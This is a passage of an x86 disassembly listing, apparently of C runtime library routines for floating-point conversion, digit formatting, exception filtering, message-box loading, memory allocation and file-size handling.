; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
dword_424F64	dd 0E800424Fh, 21CBF6Ch, 0BFE8A390h, 0FFC3004Dh, 4DBFE835h
					; DATA XREF: ___:0042903Co
		dd 59E89000h, 0C3021CBFh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25F0B69h
		nop
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 26707C2h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0B26h
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0B72h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		nop
		call	near ptr 2800000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		call	near ptr 26A0CA7h
		nop
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
